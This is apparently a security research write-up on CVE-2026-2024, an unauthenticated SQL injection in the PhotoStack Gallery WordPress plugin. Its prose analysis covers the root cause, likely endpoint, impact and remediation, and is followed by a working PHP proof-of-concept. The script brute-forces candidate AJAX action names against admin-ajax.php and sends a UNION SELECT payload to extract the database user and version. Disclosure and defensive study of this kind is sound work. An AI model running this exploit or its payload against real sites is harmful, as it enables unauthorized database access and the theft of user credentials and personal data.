Atomic Edge analysis of CVE-2026-2024 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the PhotoStack Gallery WordPress plugin, affecting versions up to and including 0.4.1. The flaw exists in the handling of the ‘postid’ parameter, allowing attackers to execute arbitrary SQL commands against the site’s database. The CVSS score of 7.5 (High) reflects the network-based attack vector, low attack complexity, and high impact on confidentiality.
Atomic Edge research infers the root cause is improper neutralization of user input within an SQL command (CWE-89). The description states insufficient escaping and lack of query preparation for the ‘postid’ parameter. This suggests the plugin likely uses the WordPress `$wpdb` class incorrectly, such as directly interpolating the unsanitized `$_REQUEST[‘postid’]` variable into a SQL string via `$wpdb->query()` without using `prepare()`, `esc_sql()`, or a format specifier.
Exploitation likely occurs via a public-facing WordPress AJAX endpoint. A common pattern is a plugin registering an AJAX action without a capability check or nonce verification. The endpoint is likely `/wp-admin/admin-ajax.php`. The attacker sends a POST or GET request with the `action` parameter set to a value like `photostack_gallery_action` and the `postid` parameter containing a malicious SQL payload, such as a UNION SELECT to extract data from the `wp_users` table.
Based on CWE-89, remediation requires using prepared statements or proper escaping. The fix should replace direct variable concatenation in SQL with the WordPress `$wpdb->prepare()` method. The developer must also validate that the `postid` parameter is an integer, using `absint()` or `intval()`, before using it in a database query. Adding a nonce check would not mitigate the SQL injection but would be a standard hardening measure.
Successful exploitation allows complete compromise of database confidentiality. Attackers can extract sensitive information including hashed user passwords, email addresses, and other personally identifiable information from the `wp_users` table. They can also read or modify any plugin-specific data. This can lead to full site takeover through password cracking or session hijacking, and facilitate further attacks via exposed internal data.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2024 - PhotoStack Gallery <= 0.4.1 - Unauthenticated SQL Injection via 'postid' Parameter
<?php
/**
* Proof of Concept for CVE-2026-2024.
* ASSUMPTIONS: The vulnerable endpoint is a WordPress AJAX handler.
* The 'action' parameter value is inferred from the plugin slug.
* The vulnerable parameter is 'postid'.
*/
$target_url = 'https://victim-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// The AJAX action name is unknown but often derived from the plugin slug.
// Common patterns include 'photostack_gallery_get', 'photostack_gallery_ajax', etc.
// This PoC attempts a common pattern and includes a brute-force guess option.
$potential_actions = [
'photostack_gallery',
'photostack_gallery_action',
'photostack_gallery_get',
'photostack_gallery_ajax',
'photostack_gallery_load',
'photostack_gallery_get_images'
];
// SQL Injection payload to extract the database user and version.
// Uses a UNION SELECT assuming the original query returns at least two columns.
// The payload is designed to be generic and avoid breaking the original query syntax.
$sql_payload = "1' UNION SELECT CONCAT_WS(':',user(),version()),2-- -";
$headers = [
'User-Agent: Atomic Edge PoC',
'Accept: */*',
'Content-Type: application/x-www-form-urlencoded',
];
echo "[*] Targeting: $target_urln";
foreach ($potential_actions as $action) {
echo "[*] Testing action: $actionn";
$post_data = http_build_query([
'action' => $action,
'postid' => $sql_payload
]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for indicators of successful SQL injection in the response.
if ($http_code == 200 && preg_match('/root@localhost|MariaDB|MySQL|@@version/i', $response)) {
echo "[+] SUCCESS! Likely vulnerable with action: $actionn";
echo "[+] Response snippet:n";
echo substr($response, 0, 500) . "nn";
break;
} else {
echo "[-] No clear success with action: $action (HTTP: $http_code)n";
}
}
?>
